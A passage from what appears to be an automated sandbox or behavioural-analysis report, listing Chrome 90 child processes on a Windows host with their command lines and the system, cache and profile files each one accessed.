        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC EXTENSION SETTINGS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\LOCK
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC EXTENSION SETTINGS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\CURRENT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC EXTENSION SETTINGS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\MANIFEST-000001
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC EXTENSION SETTINGS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\000003.LOG
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CERTIFICATES
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CRLS
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CTLS
        C:\WINDOWS\SYSTEM32\RSAENH.DLL
        C:\WINDOWS\SYSTEM32\EN-US\CRYPT32.DLL.MUI
        C:\WINDOWS\SYSTEM32\NCRYPT.DLL
        C:\WINDOWS\SYSTEM32\BCRYPT.DLL
        C:\WINDOWS\SYSTEM32\BCRYPTPRIMITIVES.DLL
        C:\WINDOWS\SYSTEM32\CRYPTNET.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\METADATA\6BADA8974A10C4BD62CC921D13E43B18_711ED44619924BA6DC33E69F97E7FF63
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\CONTENT\6BADA8974A10C4BD62CC921D13E43B18_711ED44619924BA6DC33E69F97E7FF63
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\GRSHADERCACHE\GPUCACHE\INDEX
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\GRSHADERCACHE\GPUCACHE\DATA_0
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\GRSHADERCACHE\GPUCACHE\DATA_1
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\GRSHADERCACHE\GPUCACHE\DATA_2
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\GRSHADERCACHE\GPUCACHE\DATA_3
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSIONS\SESSION_13265622810697400
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSIONS\SESSION_13265536074385778
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSIONS\SESSION_13270569652648141
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSION STATE\LOG.OLD~RF339D4.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSION STATE\LOCK
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSION STATE\CURRENT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSION STATE\MANIFEST-000001
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSION STATE\000003.LOG
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSIONS\TABS_13270569653350072
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\METADATA\6BADA8974A10C4BD62CC921D13E43B18_1DC6D7385EA816C957BA2B715AC5C442
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\CONTENT\6BADA8974A10C4BD62CC921D13E43B18_1DC6D7385EA816C957BA2B715AC5C442
        C:\WINDOWS\SYSTEM32\SHELL32.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\1BB62A10-7CAF-435C-98E8-9809AFB9D916.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\WEB DATA-JOURNAL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\63C53237-514E-437A-97DB-EC3AF09FC1BE.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\LOCAL STATE~RF34088.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\93AFE481-B98F-4949-A08F-A7E2959910F7.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\PREFERENCES~RF340A7.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\LOCAL STATE~RF340A7.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CHROME_SHUTDOWN_MS.TXT
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\1938CFD0-AE9B-43BF-B660-54723276F5E8.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\TEMP\1938CFD0-AE9B-43BF-B660-54723276F5E8.TMP
        
        Process children
        
        3844
        
        Image path
        
        "C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=CRASHPAD-HANDLER "--USER-DATA-DIR=C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA" /PREFETCH:7 --MONITOR-SELF-ANNOTATION=PTYPE=CRASHPAD-HANDLER "--DATABASE=C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CRASHPAD" "--METRICS-DIR=C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA" --URL=HTTPS://CLIENTS2.GOOGLE.COM/CR/REPORT --ANNOTATION=CHANNEL= --ANNOTATION=PLAT=WIN64 --ANNOTATION=PROD=CHROME --ANNOTATION=VER=90.0.4430.212 --INITIAL-CLIENT-DATA=0X124,0X128,0X12C,0XF8,0X130,0X7FEEF702920,0X7FEEF702930,0X7FEEF702940
        
        Time lapse
        
        152.039271
        
        Files Accessed
        
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_ELF.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CRASHPAD\SETTINGS.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CRASHPADMETRICS-ACTIVE.PMA
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CRASHPAD\METADATA
        
        3272
        
        Image path
        
        "C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=GPU-PROCESS --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --GPU-PREFERENCES=SAAAAAAAAADGAAAWAAAAAAAAAAAAAAAAAABGAAAAAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHGAAAAAAAAAKAAAAAQAAAAGAAAAAAAAACGAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAGAAAAAAAAA --MOJO-PLATFORM-CHANNEL-HANDLE=1112 /PREFETCH:2
        
        Time lapse
        
        159.529217
        
        Files Accessed
        
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_ELF.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\UIAUTOMATIONCORE.DLL
        C:\WINDOWS\SYSTEM32\OLEACC.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\WINDOWS\SYSTEM32\WINSPOOL.DRV
        C:\WINDOWS\SYSTEM32\WINHTTP.DLL
        C:\WINDOWS\SYSTEM32\WEBIO.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\OLEACCRC.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\ICUDTL.DAT
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\DXGI.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\SYSTEM32\VM3DUM64_LOADER.DLL
        C:\WINDOWS\SYSTEM32\MF.DLL
        C:\WINDOWS\SYSTEM32\ATL.DLL
        C:\WINDOWS\SYSTEM32\MFPLAT.DLL
        C:\WINDOWS\SYSTEM32\AVRT.DLL
        C:\WINDOWS\SYSTEM32\KSUSER.DLL
        C:\WINDOWS\SYSTEM32\MSMPEG2VDEC.DLL
        C:\WINDOWS\SYSTEM32\EVR.DLL
        C:\WINDOWS\SYSTEM32\POWRPROF.DLL
        C:\WINDOWS\SYSTEM32\SLC.DLL
        C:\WINDOWS\SYSTEM32\SQMAPI.DLL
        C:\WINDOWS\SYSTEM32\BCRYPT.DLL
        C:\WINDOWS\SYSTEM32\DXVA2.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\D3DCOMPILER_47.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\LIBGLESV2.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\LIBEGL.DLL
        C:\WINDOWS\SYSTEM32\D3D11.DLL
        C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\WINDOWS\SYSTEM32\VM3DUM64_10.DLL
        C:\WINDOWS\SYSTEM32\D3D9.DLL
        C:\WINDOWS\SYSTEM32\D3D8THK.DLL
        C:\WINDOWS\SYSTEM32\VM3DUM64.DLL
        
        676
        
        Image path
        
        "C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=UTILITY --UTILITY-SUB-TYPE=NETWORK.MOJOM.NETWORKSERVICE --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --LANG=EN-US --SERVICE-SANDBOX-TYPE=NONE --MOJO-PLATFORM-CHANNEL-HANDLE=1488 /PREFETCH:8
        
        Time lapse
        
        159.841234
        
        Files Accessed
        
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_ELF.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\UIAUTOMATIONCORE.DLL
        C:\WINDOWS\SYSTEM32\OLEACC.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\WINDOWS\SYSTEM32\WINSPOOL.DRV
        C:\WINDOWS\SYSTEM32\WINHTTP.DLL
        C:\WINDOWS\SYSTEM32\WEBIO.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\OLEACCRC.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\ICUDTL.DAT
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\V8_CONTEXT_SNAPSHOT.BIN
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_100_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_200_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\LOCALES\EN-US.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\RESOURCES.PAK
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC6.DLL
        C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\RASADHLP.DLL
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES-JOURNAL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\DATA_0
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\DATA_1
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\DATA_2
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\DATA_3
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CACHE\INDEX
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000001
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000003
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000004
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000005
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000006
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000007
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000008
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CACHE\DATA_0
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CACHE\DATA_1
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CACHE\DATA_2
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000009
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CACHE\DATA_3
        C:\WINDOWS\SYSTEM32\FWPUCLNT.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00000A
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00000B
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00000C
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00000D
        C:\WINDOWS\SYSTEM32\TZRES.DLL
        C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00000E
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00000F
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\REPORTING AND NEL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000010
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000011
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000012
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000013
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000014
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000015
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000016
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000017
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000018
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000019
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00001A
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00001B
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00001C
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00001D
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\A4A5D767-3FE9-471D-8580-E1C14772DA88.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00001E
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\TRANSPORTSECURITY~RF34365.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\92C1D788-082C-4A08-B6E9-2FB2EA63A043.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\NETWORK PERSISTENT STATE~RF34375.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00001F
        
        552
        
        Image path
        
        "C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=UTILITY --UTILITY-SUB-TYPE=STORAGE.MOJOM.STORAGESERVICE --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --LANG=EN-US --SERVICE-SANDBOX-TYPE=UTILITY --MOJO-PLATFORM-CHANNEL-HANDLE=1764 /PREFETCH:8
        
        Time lapse
        
        160.212256
        
        Files Accessed
        
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_ELF.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\UIAUTOMATIONCORE.DLL
        C:\WINDOWS\SYSTEM32\OLEACC.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\WINDOWS\SYSTEM32\WINSPOOL.DRV
        C:\WINDOWS\SYSTEM32\WINHTTP.DLL
        C:\WINDOWS\SYSTEM32\WEBIO.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\OLEACCRC.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\ICUDTL.DAT
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\V8_CONTEXT_SNAPSHOT.BIN
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_100_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_200_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\LOCALES\EN-US.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\RESOURCES.PAK
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\CURRENT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\MANIFEST-000001
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\LOG
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\000003.LOG
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\CURRENT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\MANIFEST-000001
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\LOG
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\000008.LOG
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\000007.LDB
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\000005.LDB
        
        4048
        
        Image path
        
        "C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=RENDERER --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --LANG=EN-US --DEVICE-SCALE-FACTOR=1 --NUM-RASTER-THREADS=1 --RENDERER-CLIENT-ID=7 --NO-V8-UNTRUSTED-CODE-MITIGATIONS --MOJO-PLATFORM-CHANNEL-HANDLE=2084 /PREFETCH:1
        
        Time lapse
        
        160.45727
        
        Files Accessed
        
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_ELF.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
